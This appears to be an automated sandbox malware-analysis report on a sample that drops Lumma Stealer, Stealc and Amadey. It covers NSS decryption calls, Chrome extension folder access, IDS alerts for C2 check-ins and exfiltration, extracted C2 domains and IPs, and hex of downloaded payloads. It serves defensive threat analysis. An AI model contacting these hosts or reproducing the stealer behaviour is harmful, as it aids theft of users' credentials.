Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBCA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	4_2_6CBCA9A0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBC44C0 PK11_PubEncrypt,	4_2_6CBC44C0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB94420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	4_2_6CB94420
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBC4440 PK11_PrivDecrypt,	4_2_6CBC4440
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC125B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	4_2_6CC125B0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBAE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	4_2_6CBAE6E0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBA8670 PK11_ExportEncryptedPrivKeyInfo,	4_2_6CBA8670
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBCA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	4_2_6CBCA650
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBEA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	4_2_6CBEA730
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBF0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	4_2_6CBF0180
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBC43B0 PK11_PubEncryptPKCS1,PR_SetError,	4_2_6CBC43B0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBE7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	4_2_6CBE7C00
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBEBD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	4_2_6CBEBD30
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBA7D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	4_2_6CBA7D60
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBE9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	4_2_6CBE9EC0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBC3FF0 PK11_PrivDecryptPKCS1,	4_2_6CBC3FF0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBC3850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	4_2_6CBC3850
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBC9840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	4_2_6CBC9840
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBEDA40 SEC_PKCS7ContentIsEncrypted,	4_2_6CBEDA40
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBC3560 PK11_Decrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	4_2_6CBC3560

Source: 4TPPuMwzSA.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.9:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.9:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.9:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.9:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.9:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.9:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.9:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.9:49771 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2280478139.000000006FF1D000.00000002.00000001.01000000.0000000E.sdmp, mozglue[1].dll.4.dr, mozglue.dll.4.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.4.dr, freebl3[1].dll.4.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.4.dr, freebl3[1].dll.4.dr
Source:	Binary string: nss3.pdb@ source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.4.dr, softokn3.dll.4.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.4.dr, vcruntime140[1].dll.4.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.4.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: B4U6J06FD2GOJV7081L.exe, 00000003.00000003.1664463017.0000000005070000.00000004.00001000.00020000.00000000.sdmp, B4U6J06FD2GOJV7081L.exe, 00000003.00000002.1799110608.00000000009E2000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: nss3.pdb source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr
Source:	Binary string: mozglue.pdb source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2280478139.000000006FF1D000.00000002.00000001.01000000.0000000E.sdmp, mozglue[1].dll.4.dr, mozglue.dll.4.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.4.dr, softokn3.dll.4.dr

Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058230 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz) : 192.168.2.9:56438 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.9:49717 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.9:49723 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.9:49729 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.9:49746 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.9:49738 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.9:49760 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.9:49771 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.9:49752 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.9:49808 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.9:49808 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.9:49808
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.9:49808 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.9:49808
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.9:49808 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.9:50015 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.9:50016
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.9:49729 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.9:49723 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49723 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.9:49760 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.9:49717 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49717 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49771 -> 104.21.50.161:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: deafeninggeh.biz
Source: Malware configuration extractor	URLs: debonairnukk.xyz
Source: Malware configuration extractor	URLs: awake-weaves.cyou
Source: Malware configuration extractor	URLs: diffuculttan.xyz
Source: Malware configuration extractor	URLs: immureprech.biz
Source: Malware configuration extractor	URLs: tacitglibbr.biz
Source: Malware configuration extractor	URLs: wrathful-jammy.cyou
Source: Malware configuration extractor	URLs: effecterectz.xyz
Source: Malware configuration extractor	URLs: sordid-snaked.cyou
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 09:37:26 GMTContent-Type: application/octet-streamContent-Length: 2786816Last-Modified: Mon, 16 Dec 2024 09:28:04 GMTConnection: keep-aliveETag: "675ff2a4-2a8600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 58 b2 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 74 7a 7a 7a 74 6d 6c 71 00 40 2a 00 00 a0 00 00 00 24 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 78 6c 61 69 73 74 7a 00 20 00 00 00 e0 2a 00 00 06 00 00 00 5e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2b 00 00 22 00 00 00 64 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 09:37:32 GMTContent-Type: application/octet-streamContent-Length: 1854976Last-Modified: Mon, 16 Dec 2024 09:29:36 GMTConnection: keep-aliveETag: "675ff300-1c4e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 30 6b 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6b 00 00 04 00 00 82 2e 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 2b 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 6c 6d 73 65 63 74 69 00 b0 1a 00 00 70 50 00 00 a8 1a 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 63 67 64 64 62 6d 76 00 10 00 00 00 20 6b 00 00 06 00 00 00 26 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 6b 00 00 22 00 00 00 2c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 16 Dec 2024 09:37:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
